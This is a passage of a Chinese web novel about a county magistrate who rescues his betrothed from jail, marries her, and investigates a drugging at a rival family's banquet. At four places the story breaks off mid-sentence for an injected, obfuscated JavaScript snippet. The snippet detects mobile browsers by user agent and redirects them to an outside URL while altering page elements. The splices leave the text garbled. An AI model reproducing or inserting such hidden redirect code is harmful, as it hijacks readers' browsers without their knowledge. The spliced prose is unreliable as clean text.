见她这副模样，沈之衡轻叹一口气，语气放缓了些，问道：“你为何要改名叫‘翠花’？” 柳清吸了吸鼻子，哽咽着答：“为了找份活计，我、我只能装成穷苦人家的女儿……” 沈之衡脑海中浮现出傍晚时分的情景。 那时夕阳西下，他在县衙内院摆好了饭菜，特意多添了几个柳清爱吃的菜，满心期待等着她来吃那“三碗饭”。 然而左等右等，却始终不见柳清的身影。 直到夜幕降临，一个小衙役慌慌张张跑来通报，说是牢里有个新抓来的犯人，瞧着和夫人有几分相似，他心中忐忑不安，思来想去还是决定来禀报大人。 沈之衡一听，顿时心急如焚，也顾不得仪态，立刻起身赶往大牢，一路上接连撞翻了好几个走廊上的花架。 不过好在人没事，沈之衡剑眉微蹙，继续问道：“你既读过书，识文断字，为何不去寻些抄书之类的清净活计，反而要去做那般粗重的体力活？” 柳清吸了吸鼻子，泪珠还挂在睫毛上，语气带着几分委屈：“我……我笨得很，除了些力气，旁的都做不好，也只能找到这些活计……” 沈之衡闻言，心中酸涩万分。 他想起幼时与柳清的相处，那时的她聪慧伶俐，知书达理，除了力气比寻常姑娘大了些，分明是个标准的大家闺秀。 如今却为了生计，不得不抛头露面，做着粗鄙的活计，可见柳父去世后，柳家境况堪忧。 想到此处，沈之衡心中不禁涌起一股怜惜之情，暗自后悔没有早些联系柳家，否则也不至于让她吃尽苦头。 柳清依旧小声啜泣，沈之衡见她这般可怜模样，心中一软，缓步靠近，抬手拭去她脸上的泪，温声道：“好了，别哭了。”说罢，便解开了绑在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572348|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身上的绳子。 柳清得了自由，却依旧惊魂未定，只是愣愣地看着他。 沈之衡将人扶起，解释道：“我只是想让你长长记性，并非要真打你。走吧，我送你回去。” 谁料柳清一听，把嘴一撇，哭得更厉害了。 回柳家的路上，马车微微颠簸着，柳清哭累了，靠在沈之衡肩头，竟沉沉睡了过去。 天边泛起鱼肚白时，马车停在了柳家门前。 早前，为了避免柳母担心，沈之衡没有透露柳清被抓之事，而是提前派人告知柳母，说柳清近日会在县衙居住，帮忙处理一些杂事。 因此，当柳母见沈之衡抱着睡着的女儿回来时，还纳闷出什么事了。 沈之衡柔声解释道：“今日我会将聘礼送来，清儿还是待在家里比较合适。” 柳母闻言，心中也觉妥帖，便引着人进了屋。 柳清一觉醒来，已近午时，床边摆着一碗尚有余温的粥，她腹中饥饿难耐，也顾不得其他，端起碗便喝了个干净。 待回过神来，才发现自己竟已在家中，而外面敲敲打打，十分吵闹。 她好奇地出门查看，发现本就不大的院子里堆满了大箱子，每个箱子上都系着红绸，自家大门口更是被敲锣打鼓的礼队占满。 隔壁厢房里传来阵阵欢声笑语，柳清寻着声音走进去，只见母亲正和沈之衡相谈甚欢。 见她进来，柳母笑盈盈地拉过女儿的手，语气中掩不住喜悦地说道：“清儿啊，明日便是良辰吉日，婚事宜早不宜迟……” 柳清如坠梦中，沈之衡不知从何处拿出个小箱子递给她，温声道：“这是喜服，看看是否合身，若是不合身，现在修改还来得及。” 喜娘满面春风，手持玉如意，趁机说起了吉祥话，“沈大人和柳姑娘真是天造地设的一对璧人，郎才女貌，佳偶天成啊！瞧这日子，挑得也好，天高气爽，宜嫁娶，寓意着以后的日子红红火火，富贵吉祥！” 沈之衡走后，喜娘留下来，与柳母商议明日婚礼的各项事宜，屋里屋外热闹非凡。 而柳清则在小镜子的服侍下，回房中试穿起那件嫁衣。 喜服是上好的苏绣，针脚细密，纹样华贵，更难得的是，尺寸竟是出奇地合身，也不知沈之衡是从哪得知她的尺寸的。 只是，柳清望着铜镜中那身穿嫁衣的女子，心中却并没有多少喜悦之情。 喜娘笑眯眯地瞧着柳清，不住地夸赞：“我的好姑娘，这身喜服穿在你身上真是再合适不过了，明日你便是这十里八乡最美的新娘子！” 说罢，又拉过柳清的手，细细叮嘱起明日婚礼的流程和注意事项。 两人闲聊时，喜娘不经意间说道：“说起来，姑娘你有所不知，当初沈大人刚来咱们这儿的时候，好多人都以为他会和那秦老板的妹妹结亲呢！那秦家小姐啊，可是出了名的大家闺秀，琴棋书画样样精通，多少公子哥都拜倒在她石榴裙下！谁承想，沈大人竟对你情有独钟……” 15. 第 15 章 喜娘还在絮絮叨叨说着什么，柳清却忽然想起今日是秦暮妹妹的及笄礼，自己之前答应了要去帮忙，还收了秦暮的银子。 柳清问喜娘道：“秦暮的妹妹不是才及笄吗，年纪还小吧……” 喜娘掩嘴笑道：“这女子及笄啊，便算得上大人了，自然是可以相看人家了。秦家家大业大，秦老板就这么一个宝贝妹妹，听说啊，这及笄礼要大宴三天，还请了城里最有名的戏班子来唱戏，为的就是广邀青年才俊，好为秦小姐挑选一位如意郎君呢！” 柳清黛眉轻蹙，故作不经意地问道：“喜娘，你方才说，之前不少人以为沈大人会和那秦老板的妹妹结亲？这其中可有什么原委？” 喜娘听到这话，顿时来了兴致，笑呵呵地解释：“我给不少青年才俊牵过红线，最近啊，就有好几位托我来说媒，想要求娶秦家小姐。前些日子，我就亲自去秦府问了问秦家小姐的意思。” 喜娘说到此处，似是觉得有些不妥，但看柳清一副好奇的模样，才继续说道：“你猜怎么着？那秦家小姐竟然说，她喜欢咱县太爷那样，有威严、有担当的男子汉！我原想着抽空去县衙探探口风，看能不能促成这桩好事，谁承想，今日一大早，就收到县太爷的委托，说是要求娶姑娘你！” 这喜娘一旦打开话匣子，就再也止不住了，好奇地打听道：“姑娘，你是怎么和沈大人认识的？我瞧着沈大人对你可是情深意重，竟亲自托我上门提亲。” 柳清微微垂眸，语气平静：“我和沈大人，是指腹为婚。” “指腹为婚？”喜娘掩不住惊讶，目光不自觉环视了一圈柳清的闺房。 房间虽布置得整洁雅致，但到底只是寻常人家的摆设，与沈之衡那般身份地位的人家相比，委实有些寒酸了。 喜娘脸上的笑容淡了几分，语气中多了几分惋惜：“原是如此……沈大人真是重情重义之人啊……” 她轻轻拍了拍柳清的手背，语重心长道：“姑娘，不是老婆子说你，你这嫁过去之后啊，可得加把劲，早点为沈大人生个一男半女的，这男人啊，有了子嗣，心也就安定下来了。将来就算沈大人纳了妾，有孩子傍身，你的地位也才稳固啊！” 喜娘这意思，话里话外都是认为柳清配不上县太爷，认定沈之衡日后一定会纳妾，柳清听着不是滋味。 她本想出言解释，却又觉得无需向旁人说这么多。然而，面对喜娘关切的目光，柳清又不忍心拂了她的好意，只得顺着她的意思说：“喜娘说的是，我会努力的。” 喜娘见她听劝，满意地点了点头，又絮絮叨叨地叮嘱了一番，这才起身告辞。 翌日清晨，天还未亮。 “姑奶奶，快醒醒！今日可是您的大喜之日，可不能误了吉时！”小镜子一边说着，一边麻利地将热水倒进洗漱架上的木盆里，“奴婢已经备好了热水，您梳洗打扮过后，还要吃点东西垫垫肚子，县太爷一会儿就来接您过门啦！” 柳清不是没动过逃婚的念头，可这念头就像风中残烛，在心底忽明忽灭，直到巷口传来震天的锣鼓声，她也没能下定决心迈出那一步。 盖头遮住了视线，她看不见沈之衡的脸，只有一双喜庆的红色布鞋映入眼帘。 下一瞬，身子忽然腾空，沈之衡稳稳背起她，将她送入了花轿。 成亲仪式在县衙旁一处宅院里举行。 这宅院三进三出，气派非凡，处处透着喜庆，是沈之衡特意为迎娶柳清新购置的。 鼓乐喧阗，爆竹声声，整个县城都因沈之衡的婚事沸腾起来。 百姓们挤满了县衙旁边那条街，沈家新宅门前更是人头攒动。然而，对于新娘子是谁，大家却一无所知，只能凭借只言片语猜测着。 “我瞧着那花轿是从东边来的，莫不是沈大人从老家接来的青梅竹马？” “去去去，你懂什么？我可是听说了，新娘子啊，是从怡红院接出来的，那身段，啧啧，一看就不是普通人家的姑娘！” “哎哎，你们看，那新娘子上轿的时候，是不是露出了鞋尖？那脚，可真够大的，该不会是个男人吧？” 花轿一路摇晃，外头的议论声却丝毫不受影响，直往柳清耳朵里钻。听着这些不着边际的猜测，她反倒放下心来。 沈之衡似乎对外隐瞒了她的身份，这倒也省去不少麻烦，她可以继续安心在清河县追查父亲的死因。 毕竟顶着“前县令千金”的名头，对她而言弊大于利。 夜幕降临，喧嚣了一整日的沈府渐渐安静下来。宾客们酒足饭饱，在喜娘喜公的引导下陆续散去。 自然，谁也不敢触县太爷的霉头，闹到洞房里去，因此沈之衡只是简单与宾客们敬了几轮酒，便在夜色的掩护下悄然回了喜房。 红烛摇曳，映照着满室喜庆。折腾了一天，滴水未进，柳清早已饥肠辘辘。 房间里的瓜果点心已被她一扫而空，就连最后一枚桂圆也被她剥开，可惜刚咬了一口，就发现这是枚坏果。 柳清苦着脸，随手抓起桌上的水壶就往嘴里灌，却没料到那竟是一壶酒，辛辣的液体呛得她喉咙火烧火燎，眼泪顿时涌满了眼眶。 沈之衡推门而入时，正撞见柳清放下手中酒壶，纤细的手指拭去眼角的泪珠。烛光在她脸上投下摇曳的阴影，更显得楚楚可怜。 他喉结滚动，竟有些不敢上前，只得僵在门槛边，心头泛起一阵难以言喻的酸楚。 难道……她当真不愿嫁给自己，所以才如此伤心？ 柳清听到开门声，屋里却没动静，便以为是那些闹洞房的宾客，心中不愿配合这无聊的戏码，索性转身进了内室，打算躲个清净。 可这举动在沈之衡眼里又变了样，沈之衡见新娘子听到自己进来，非但没有半点期待，反而像躲瘟神似的躲了起来，心中更加不是滋味。 看来，她果然不愿嫁给自己，甚至不愿与自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572349|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 共处一室…… 沈之衡落寞地进了喜房，也不说话，径自走到桌边坐下，提起酒壶斟了两杯酒。 一杯入了喉，正要端起另一杯时，柳清从里间走了出来。她秀眉微蹙，目光落在沈之衡手中的酒杯上，带着几分不解：“这酒，不是合卺酒吗？怎么你一人喝起来了？” 沈之衡酒量很好，但刚才与宾客推杯换盏，仍是有些微醺，眼神也变得迷离起来。 他放下酒杯，目光落在柳清身上，语调温醇：“你我如今已是夫妻，这处宅子就是你的家，岳母我已接进来了，府中一切，你都不必操心，管家和院中仆役自会打理妥当，聘礼和嫁妆都由你保管，我不会过问，如此一来，你便不必再像从前那般辛苦，靠给人做小工过活了。你若是想开间铺子做些生意，我再找人安排……” “停，”柳清没耐心再听下去，抬手打断道：“我是问你为何一个人喝合卺酒，你说那么多没用的干什么？” 沈之衡被浓浓的酒意糊住了脑子，一时之间竟忘了该如何反应。 柳清见他呆愣愣地坐着，心中不免有些来气，索性夺过酒壶，斟满了酒杯，拉过沈之衡的胳膊交叉绕起喝了合卺酒，见他不动，又托着他的手喂他喝了，然后把人拉起来往门外推。 沈之衡被推搡着，一颗心如坠冰窖，心想自己竟如此惹人嫌恶，新婚之夜竟要被新娘子赶出房去。 正自怨自艾，却又听柳清吩咐道：“我一整天都没吃东西，这会儿肚子都快饿扁了，你快去给我拿些吃的回来。对了，我记得宴席上有道酱肘子，应该还有剩下的吧？记得带些回来。” 沈之衡被推出门外，踉跄了两步，冷风一吹，让他混沌的脑子顿时清醒了几分。 回首一看，柳清正歪着脑袋一脸希冀地望着自己，他心下猛地一跳，连忙转身往厨房去了。 宴席上的酱肘子早已被宾客们分食殆尽，只剩些糕点果脯，柳清接过食盒打开一看，难免有些失望。 沈之衡见状，于心不忍，便挽起袖子回了厨房，亲自做了一道小炒肉。 看着热气腾腾的小炒肉上桌，柳清忽然觉得成亲这事儿好像也没那么糟糕。 再看杵在桌旁那人，一身红色喜服，衬得他面如冠玉，俊朗不凡。烛光在他脸上镀了一层暖色，更显得他眉目温柔，往日里的凌厉之色全然不见，反倒多了几分居家男人的贤良，竟有些俊俏得移不开眼。 柳清吃饭的工夫，沈之衡也没闲着，把屋内满地的果壳收拾了，贤惠得让人挑不出毛病。 只待沈之衡去铺弄床铺的时候，柳清才放下碗筷，开始约法三章：“沈之衡，我虽是答应了这门亲事，可我爹的案子一日未破，你我便只是名义上的夫妻，还望你莫要……有逾矩行为。” 沈之衡停下手中动作，垂首敛眉，让人看不清他此刻的表情。 沉默半晌，他才低声问：“如此说来……今晚，我可否留在房中歇息？” 16. 第 16 章 这婚房格局巧妙，分为三进套间。 柳清歇息在最里间，沈之衡则睡在最外间，两人隔着一段距离。 一夜平静，直到翌日清晨，柳清起身时，发现沈之衡早已离开。 小镜子进来服侍梳洗，一眼瞧见外间整整齐齐的被褥，心中疑惑，便问道：“主子，姑爷昨晚是歇在外间吗？你们分床睡啦？” 柳清神色淡淡，低声应道：“嗯。” “主子，姑爷他……怎么睡在外间？”小镜子满脸错愕，说话都有些结巴了，“这，这要是传出去，岂不让人笑话死！” 见柳清神色如常，她压低了声音，急切道：“主子，是不是姑爷嫌弃您？您可别委屈了自己！” 柳清淡淡一笑，解释道：“是我让他睡在外间的。” 小镜子更困惑了：“为什么呀？” 柳清沉默片刻，幽幽道：“秦暮的妹妹倾慕沈之衡许久，若不是我……他们二人或许才是天造地设的一对。” 她顿了顿，语气中带着几分自嘲，“秦家那般家世，比我柳家强了不知多少倍……” “主子您别妄自菲薄，奴婢见过那位秦小姐，虽说是大家闺秀，可比起主子您，那可真是差远了！”小镜子见柳清神色黯然，连忙笑着宽慰道，“昨日奴婢去街上撒喜糖，正好撞见秦府张灯结彩，原来是那位秦小姐及笄，奴婢好奇，便偷偷溜进去瞧了一眼……” 小镜子绘声绘色地描述起来：“那秦小姐穿着一身粉红襦裙，头上戴着珠钗，看着是挺标致，可那眉眼间，总觉得少了点灵气，哪像主子您这般，英姿飒爽，别有一番风味！” 她顿了顿，接着说道：“那秦府的门槛都快被媒人踏破了，个个都抢着想要求娶那位秦小姐呢！不过依奴婢看，那些媒人怕是还没见过主子您，否则啊……” 小镜子故意拉长了尾音，朝柳清挤了挤眼睛，“只怕都要改弦易辙，到咱们柳府来提亲喽！” 柳清被小镜子夸张的语气逗得噗嗤一笑，心中阴霾也消散了不少。 小镜子见状，趁热打铁，提议道：“主子，今日天气正好，不如我们出去逛逛吧？听说城东新开了一家胭脂铺，里面的胭脂水粉可都是从京城来的呢！” 主仆二人换了身轻便的衣裳，便出了门。 两人一路逛着，发现街角那家早前被查封的戏楼已经重新开业，只是换了个老板，正热热闹闹地敲锣打鼓唱着新戏。 继续往前走，行至街尾的王婆豆腐铺时，却发现豆腐铺大门紧闭，上面还贴着官府的封条。 闲逛间，两人已走到了长街尽头。 只见前方一座气派的府邸张灯结彩，门前车水马龙，地上洒落着五颜六色的彩带，喜庆的气氛扑面而来。 小镜子认出这是秦府，便对柳清说道：“听说这秦府大摆宴席三天，今日是第二天，要不我们去瞧瞧热闹吧。” 门口的接待小厮见她们二人衣着光鲜，谈吐不俗，便以为是来府上贺喜的宾客，热情地将她们迎了进去。 柳清想着自己还白拿了秦暮十两银子，正好趁机还回去，便没有多做解释，随小厮进了秦府。 宴席上，柳清见到了演奏琵琶的秦然，一袭红衣明艳动人，眉眼如画，生得十分漂亮。 只是不知这宴会的主人为何要让自家妹妹弹琵琶取乐宾客，搞得好似在戏楼一样，平白折损了大家闺秀的风范。 喧闹间，用过午膳，柳清却始终未寻到秦暮的身影。 她心中暗自思忖，既来之则安之，不如趁机去花园散散步，顺便寻个机会将银两还给秦府的管家也好。 漫步在曲径通幽的花园中，柳清忽闻前方假山处传来一阵细碎的说话声。 出于好奇，她放轻脚步，悄然躲在一座假山之后，这才发现原来是秦暮的妹妹秦然，正与一位媒婆打扮的老妇人低声说着话。 只听得秦然语气焦急地对那媒婆说道：“烦请妈妈无论如何也要帮我这个忙，一定要帮我安排与那沈大人见上一面，哪怕只是远远的看上一眼也好……” 那媒婆面露难色，连连摆手道：“我的好小姐哎，这可真是太难为老身了。您有所不知，那沈大人他……他昨日已经成亲了呀！” “什么？！”秦然闻言，顿时花容失色，一把抓住媒婆的胳膊，急切地问道：“你说什么？沈大人他……他成亲了？这怎么可能！娶的是哪家的姑娘？” 媒婆如实说道：“听闻是城东一家铁匠铺的女儿，与沈大人是指腹为婚，青梅竹马……” 柳清躲在假山后，将二人的对话听得一清二楚。 她不由得想，像沈之衡那样的……呃……勉强是个青年才俊，会对他芳心暗许的姑娘想来不在少数，只是不知沈之衡对这位秦家小姐可会动心？ 待到秦然与媒婆离去，柳清才从假山后走了出来。她望着二人的背影，心中竟莫名觉得有些闷闷的，就好像被人塞了一团棉花似的，说不出的堵得慌。 回到喧闹的宴席上，柳清却觉得索然无味，满脑子都是方才在花园里听到的对话，神色恹恹。 秦然已经先一步回来，正和宾客们吟诗作对，席间不时传出阵阵喝彩声。 小镜子一直在宴席上看热闹，见柳清回来了，便笑着说：“主子，这秦家妹妹可真是才识过人，满堂宾客都被她比下去了呢！” 柳清没精打采地往人堆里扫了一眼，不咸不淡地说：“谁还没读过几本书啊，你家主子我还会写话本呢。” 小镜子听她说起话本，脸上的笑意顿时僵住，连忙收回目光，小心翼翼道：“主子，你说的该不会是那本《风流寡妇大战仨秀才》吧？” 她压低了声音，满脸担忧地提醒道：“城北的书斋因为印了主子的书，被查封的事你忘了？” 柳清没好气地白了小镜子一眼，“我看你很喜欢她啊，等过段时间她嫁进沈府做二房，正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572350|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好你们能日日相见，朝夕相处！” 小镜子一听这话，顿时急了，连忙摆手道：“主子，这话可不能乱说啊！姑爷那样的人物，怎么会娶二房呢？” 柳清见她着急的模样，心中更加不快，便将方才在花园里偷听到的对话，一五一十告诉了小镜子。 小镜子听完，却是不以为然，忙安慰道：“主子，你就别瞎操心了，依我看呐，这不过是秦家妹妹的一厢情愿罢了，咱们县太爷是谁啊，怎么可能看得上她？” 一曲吟罢，秦然轻巧地提着裙摆，莲步轻移，转到了池塘中央的八角凉亭中。随着丝竹声响起，她纤腰款摆，长袖翻飞，曼妙的舞姿引来席间阵阵叫好声。 柳清兴致缺缺，见秦然又开始跳舞了，便打算转身离去。谁知刚走出两步，身后凉亭处忽然传来“扑通”一声巨响，像是有人落水了。 她心中一惊，回头望去，只见原本在亭中翩翩起舞的倩影已然不见，取而代之的是池塘中一团正在挣扎的身影。 落水的正是秦然，她那身鲜红的衣裙在水中格外显眼。 护院立刻跳入水中救人，岸上的宾客们则乱作一团，柳清离得老远看，发现秦然被救上来后一动不动，脸色苍白，也不知是不是死了。 柳清学过些急救的医术，知道溺水之人最怕耽误时间。放眼望去，在场的全是男宾客，大夫也不知何时才能赶到，她心中焦急，当即拨开人群想过去救人。 “哎！这位夫人，里面危险，您不能进去！”一护院伸手拦住她，语气不耐烦，“没瞧见我们正在救人吗？您在这添什么乱！” 好在秦府有大夫，出事后没多久便赶了过来，大夫在秦然身上探了探，又翻了翻她的眼皮，最后得出结论：“秦小姐是中了迷药，所以才昏迷不醒。” 众人面面相觑，皆觉不可思议。这光天化日，朗朗乾坤之下，秦小姐一直在众人眼皮子底下，怎会无端中了迷药？柳清心中也疑云密布，暗道此事蹊跷。 百思不得其解之际，秦府管家匆匆赶到，听罢大夫诊断，面色铁青，当即下令封锁院门，厉声道：“今日之事，必将彻查！在找出下药之人之前，谁也不得擅离秦府半步！” 管家话音未落，却听得一阵纷乱的脚步声由远及近，须臾之间，一队身着皂衣的官差便将院子围了个严严实实。 宾客们逐一接受盘查，就连内院的女眷也未能幸免。秦府上上下下，所有活人，此刻全都聚集在院子里，任凭官差如何逼问，依旧没有一个人站出来承认下药之事。 柳清站在人群边缘，看着眼前这番混乱景象，心中不禁生出几分烦躁。 她下意识抬头望向院门方向，暗暗嘀咕：事情闹到这般地步，也不知沈之衡会不会被惊动？若是被他知道今日之事，又不知会如何看待自己。 正自胡思乱想间，人群外突然传来一阵喧哗，只见沈之衡身穿官服，在一众家丁的簇拥下阔步走来。 17. 第 17 章 柳清刻意往人群后面躲了躲，偷偷瞧着沈之衡。 只见他先与衙役交谈了几句，随后便径直走向秦然。 秦然服过大夫的汤药，此刻已悠悠转醒，迷蒙的双眸瞧见面前站着的人是沈之衡，苍白的脸上顿时浮现一抹绯红，下意识伸手攥住了沈之衡的衣摆，低低唤了声：“沈大人……” 沈之衡感觉到衣摆被轻轻扯动，便俯下身，关切道：“秦姑娘，你可还记得是谁给你下的药？” 秦然贝齿轻咬红唇，眼眶中泪光闪烁，却只是无力地摇了摇头。 沈之衡见状，又问：“那最近可有得罪什么人？” 秦然依旧虚弱摇头，挣扎着撑起身子，竟是想要往沈之衡怀里倒去。 柳清将这一切看在眼里，不知为何，心中竟泛起一丝说不清道不明的别扭。 她索性别过头去，往人群最后面躲，眼不见为净。 沈之衡在秦然动作的当下站起身，不着痕迹往后退了半步。 秦然扑了个空，羞愤交加，却不敢表露半分，只得低下头去，掩饰自己发烫的脸颊。 众人瞧着她这般娇弱模样，只当她是身子不适，心中更加怜惜。 但沈之衡却似毫无察觉，眉头微蹙，转向一旁侍立的护院，“事发之时，你可曾留意到什么可疑之人？” 那护院闻言，面露难色，仔细回想了一番，才迟疑着答道：“回大人，小的当时只顾着将小姐抬至此处，并未太过注意周围情况。不过……” 他顿了顿，似是想起什么，接着说：“小的记得，就在小姐刚被抬上来的时候，人群中似有一位夫人神色慌张，匆匆忙忙地往人群里冲，甚是可疑，那不，就在那呢。” 护院说罢，抬手一指。 沈之衡顺着护院指的方向看去，注意到人群后面一抹熟悉的身影，抬脚便要走过去。 不料，秦然手里还抓着他的衣角，被他带的身子歪了一下，险些扑个狗吃屎。 沈之衡脚下一顿，面上闪过一丝不悦，转头叮嘱大夫道：“劳烦大夫先将秦姑娘安顿到厢房里去，好生照料。” 说罢，又低头看向秦然，“姑娘身体尚未痊愈，不宜在此久留，先回去休息。待在下查明真相，定会给你一个交代。” 秦然不愿就此离去，挣扎着爬起来：“我没事了，想跟着沈大人一起调查……” 秦府的管家适时站出来，先是恭敬地向沈之衡行了一礼，随后便不由分说地将秦然从沈之衡身边拉开，低声劝慰着：“小姐，您就别添乱了，大人自会处理好的。” 说罢，便半扶半拽地将秦然带离了人群。 柳清漫不经心地踢着石子，忽觉眼前一暗。 抬头，沈之衡已立于身前，神色莫辨。 她心头一颤，竟不敢与他目光相接。 “你为何在此？”沈之衡语气低沉。 “随便逛逛。”柳清含糊其辞。 “不是让你……”沈之衡语气微恼，却没再说下去，只一把拉起她的手，转身便走。 出了秦府，沈之衡一路阴沉着脸，柳清被他拽着走，也不敢吭声。 七拐八拐进了条僻静巷子，沈之衡才停下脚步，松开手。 柳清揉着手腕，那块被他捏过的地方已经泛起红痕，她没好气地开口：“沈大人这是要带我去哪？案子尚未查明，秦府里还有那么多宾客未散，怎的偏偏放我一人出来，于理不合吧？” 沈之衡斜睨她一眼，语气淡淡：“你如今已是我娘子，怎能和他人相提并论。” 娘子……好陌生的字眼。 柳清只觉从心底升起一股酥酥麻麻的痒感，迅速蔓延至四肢百骸，她不自在地低下头，“你、你就不怀疑是我下的药吗？” 沈之衡深深看了身前人一眼，开口：“我相信你，你和秦然无冤无仇，断不可能做出这种事。” 柳清却别过脸去，低声呢喃了一句：“那可未必……” 这声音轻如蚊呐，转瞬便消散在微凉的秋风里。 “你说什么？”沈之衡没听真切，不由自主地靠近了几分。 柳清掩饰似的轻咳一声，目光闪烁，“我是说，大人还是快些回去吧，秦府那边还需要您主持大局呢。” “那里自有官差负责，眼下最要紧的是先送你回去。”说着，沈之衡将手放在柳清后背，推着人就往前走了。 秦府内。 秦然面色苍白地倚在床头，眉头紧锁。 丫鬟垂手立于床边，低声禀报道：“小姐，沈大人已经离开府上了。” 秦然闻言，不禁咬了咬下唇，心中懊悔不已。 早知如此，她就不该装得这般柔弱，应该假意说自己记起了那歹徒的样貌，也好将沈之衡留在府上才是。 都怪自己一时心急，错失了良机！ “小姐，这迷药……”丫鬟小心翼翼地捧着一只精致香囊，面露难色，“奴婢这就把它处理掉吧？” “处理干净些，莫要被人发现了。”秦然揉了揉隐隐作痛的额角，心中暗忖，此事还得找个替罪羊才行…… 此时的沈府。 沈之衡不知从哪找来几卷书册，吩咐柳清安心在府中研读，权当消磨时光。 柳清随意翻了翻，发现都是些辞藻华丽、无病呻吟的诗词歌赋，无趣极了。 “我不爱看这些，有没有话本子？”她问。 沈之衡：“什么样的话本子？我托人去寻。” 柳清拖着下巴想了想，突然想到什么，眉毛一扬：“《风流寡妇大战仨秀才》那样的。” 听到这名字，沈之衡脸色僵了僵，似乎想说些什么，却又咽了回去，最后只干巴巴地问了一句：“还有别的吗？” 见柳清摇头，便又嘱咐了几句，转身离开了。 柳清看不进那些酸腐诗文，干脆丢到一旁，蒙头睡了个午觉。 刚醒，小镜子便捧着两本话本子前来，说是老爷送来的。 她一时睡眼惺忪，尚未回过神来，迷迷糊糊问：“老爷？哪个老爷？” 小镜子掩嘴笑道：“哎呀，我的好主子，自然是咱们的县太爷呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572351|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！您如今可是县太爷夫人了，这称呼也该早些适应才是。” 经小镜子这么一提醒，柳清才猛然想起，自己与沈之衡成亲，竟已是昨日之事了。 一切都发生得太过突然，恍若梦境一般。 柳清心中生出几分不自在，随手翻开一本话本子，草草阅览几页，发现都是些说书先生常讲的题材。 什么武松打虎、大闹天宫之类的，却独独没有她心心念念的那本《风流寡妇大战仨秀才》。 她倒也没太在意，毕竟自己写的那话本子因为内容过于“精彩”，早已被官府封禁，没有哪家书斋敢顶风作案私下贩售，找不到也属实正常。 可柳清随意翻看着话本，心思却怎么也静不下来，总觉得秦府的事透着古怪。 思来想去，她还是放不下心，便唤来小镜子，吩咐道：“你悄悄去趟秦府，打听打听，看看那边情况如何了？” 小镜子前脚刚走，一圆脸妇人便端着托盘笑盈盈地进了屋，“夫人，这是老爷特意吩咐奴婢给您做的糕点，您尝尝？” 柳清瞥了一眼，托盘里是她最爱的桂花糕，便捻了一块放入口中。 入口香甜，软糯弹牙，和记忆里的味道不差一二。 “真是奇了，”柳清赞叹道，“竟与京城福满楼的手艺不相上下！” 她想起儿时在京城，最喜欢的就是福满楼的桂花糕。可惜，自从搬来这清河县，就再也没尝过这种味道了。 圆脸妇人听到夸奖，笑得更盛：“夫人若是喜欢，以后奴婢天天做给您吃！其实呀，奴婢以前就是在京城福满楼做糕点的，是老爷花了大价钱将奴婢买下的，老爷对夫人可真好！” 柳清心中一动，扬了扬唇，又吃一块。 那厨娘见柳清没有半分架子，心中欢喜，便打开了话匣子，只捡着好听的说：“老爷吩咐了，夫人金枝玉叶，每日的食材都要用最新鲜的，一点儿也马虎不得！” 没等柳清回应，她又道：“还有啊，老爷还特意从京城买了好些贵重的锦缎，全用来给夫人做新衣裳了，那可是京城贵女才能用得起的料子！” 柳清仔细看了看身上这件新衣服，触感是比以前的衣裳要轻柔华贵些，可要说多好，她倒没觉得。 非要说不一样的地方，那就是这新衣裳更不经折腾，早些时候，她不过心血来潮翻了个墙头，这衣裳就挂起丝了。 她从小爬树摸鱼滚泥坑，哪会在意这些绫罗绸缎，她更喜欢耐磨耐脏的粗布衣裳，行动起来也方便。 厨娘说到兴头上，停不下来：“对了，给您做衣裳剩下的那些边角料，老爷都吩咐人仔细收着，说是要给将来的小少爷、小小姐做衣裳呢！府里上下都说，咱们老爷啊，真是世间少有的好夫婿，夫人您可真是好福气！” 厨娘说得眉飞色舞，柳清脸上却不见喜色。 生孩子？沈之衡倒是想得美！ 再来，要说好福气，也该是他沈之衡好福气才是！ 柳清心里冷哼一声，放下手中糕点，望着院中景色，心里却想着别的事。 18. 第 18 章 晚膳已过，沈之衡却仍未归家。 柳清独自一人在房中，百无聊赖之际，她索性爬上房顶，眺望远处景色。 